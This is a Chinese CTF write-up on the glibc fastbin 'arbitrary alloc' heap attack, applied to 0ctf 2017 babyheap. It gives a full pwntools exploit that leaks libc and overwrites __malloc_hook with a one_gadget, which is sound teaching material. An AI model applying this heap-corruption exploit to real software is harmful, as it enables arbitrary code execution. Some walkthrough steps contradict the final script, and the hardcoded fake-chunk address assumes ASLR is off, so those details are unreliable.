Fastbin attack之arbitrary alloc

arbitrary alloc和alloc to stack基本相同。唯一区别就是fake_chunk不在栈上进行分配。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//gcc -g z1r07.c -o z1r07
#include<stdio.h>
int main(void){
void *chunk1;
void *chunk_a;

chunk1=malloc(0x60);

free(chunk1);

*(long long *)chunk1=0x7ffff7dd1aed;
malloc(0x60);
chunk_a=malloc(0x60);
return 0;
}

申请了0x60的大小给chunk1,释放chunk1,将chunk1指向特定地址,两次申请即申请到特定地址

在第9行下个断点

创建了堆。继续n,free(chunk1),可以看到被挂进fastbin

继续n,可以看到fd被改

一次malloc后,b000重新被申请,0x70还有一个目标地址

再来一次申请,即可申请到目标地址

可以看到已经申请结束,目标地址被启用

之所以用0x7ffff7dd1aed是因为可以通过find_fake_fast命令查看符合条件的fake_chunk

0ctf babyheap 2017

查看保护

分析

直接进IDA

sub_b70

看见了alarm可以patch掉。下面没什么。mmap()函数以addr起始申请了一块0x1000大小的内存

alloc

输入了size,size大小不能大于0x1000,用calloc分配。calloc()函数申请的chunk的内容区域全部为\x00,strcut也出来了,自动化函数

1
2
3
def alloc(size):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))

fill

输入了index,index要在0-15之间,如果inuse位为1则输入size,接着输入content,下面的sub_11B2这里出现了问题,alloc之后进行fill,重新输入size,但是这里没有进行size大小比较,所以在fill的时候可以申请很大的size,从而造成堆溢出。

1
2
3
4
5
def fill(index, size, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Content: ', content)

delete

释放堆块,没有UAF,最后指针清0了

1
2
3
def free(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

show

输入index,判断index,输出content

1
2
3
def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

编写exp

这题完全可以用overlapping这部分知识,也可以使用arbitrary-alloc。

先创建几个chunk看一下吧。

1
2
3
4
5
6
alloc(0x10)		#0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
alloc(0x80) #5

思路是释放2和1修改2的fd,使其指向4,再释放4之后就会进入unstortedbin因为4的大小为0x80创建5就是因为防止与top_chunk合并

1
2
3
4
free(2)
free(1)
p1 = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0, len(p1), p1)

可以看到chunk1的fd指向了chunk4,此时需要重启chunk4,但是得绕过检查,所以要将chunk4的size改为0x20

1
2
p2 = p64(0) * 3 + p64(0x21)
fill(4, len(p2), p2)

可以看到chunk4的size已经被改成了0x21,接下来重启两个chunk

1
2
alloc(0x10)		#1
alloc(0x10) #2

现在2=====4,那么接下来要泄露地址,因为0x80释放后会进入unstortedbin,而这个和libc_base固定的地址,所以我们还需要将chunk4变成0x80大小,然后将其释放,最后show(2)就可以了

1
2
p3 = p64(0) * 3 + p64(0x91)
fill(3, len(p3), p3)

1
free(4)

1
show(2)

下面拿libc_base直接一把梭

1
2
3
4
5
6
7
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x3c4b20
success('libc_base = ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + one[1]
alloc(0x60)
free(4)

接下来就是arbitrary-alloc了

  • size大小为0x70 - 0x7F之间(有利于用错字节找到fake_chunk)
  • fake_chunk的内容部分必须包含malloc_hook的地址(在填充fake_chunk内容的同时修改malloc_hook)

找到地址了,一把梭,之所以前面alloc(0x60) free(4)就是因为让它进fastbin

1
2
3
fake_chunk_addr = 0x7ffff7dd1aed
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

可以看到fd被改了。

1
2
3
4
alloc(0x80)		#4
alloc(0x80) #6
p4 = p64(0) * 4 + b'a' * 3 + p64(one_gadget)
fill(6, len(p4), p4)

现在malloc_hook已经被改成了one_gadget,再malloc一个堆 就行

1
alloc(0x10)

exp

arbitrary-alloc解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote('node4.buuoj.cn', 29888)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

menu = 'Command: '

def dbg():
gdb.attach(r)


def alloc(size):
r.sendlineafter(menu, '1')
r.sendlineafter('Size: ', str(size))

def fill(index, size, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Content: ', content)

def free(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def show(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))


alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
alloc(0x80) #5

free(2)
free(1)

p1 = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0, len(p1), p1)

p2 = p64(0) * 3 + p64(0x21)
fill(3, len(p2), p2)

alloc(0x10) #1
alloc(0x10) #2

p3 = p64(0) * 3 + p64(0x91)
fill(3, len(p3), p3)

free(4)
show(2)

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x3c4b20
success('libc_base = ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = libc_base + one[1]
success('one_gadget = ' + hex(one_gadget))

alloc(0x60)
free(4)

fake_chunk_addr = 0x7ffff7dd1aed
fake_chunk = p64(fake_chunk_addr)

fill(2, len(fake_chunk), fake_chunk)
dbg()

alloc(0x60) #4
alloc(0x60) #6
p4 = b'a' * 0x13+ p64(one_gadget)
fill(6, len(p4), p4)

alloc(0x10)
r.interactive()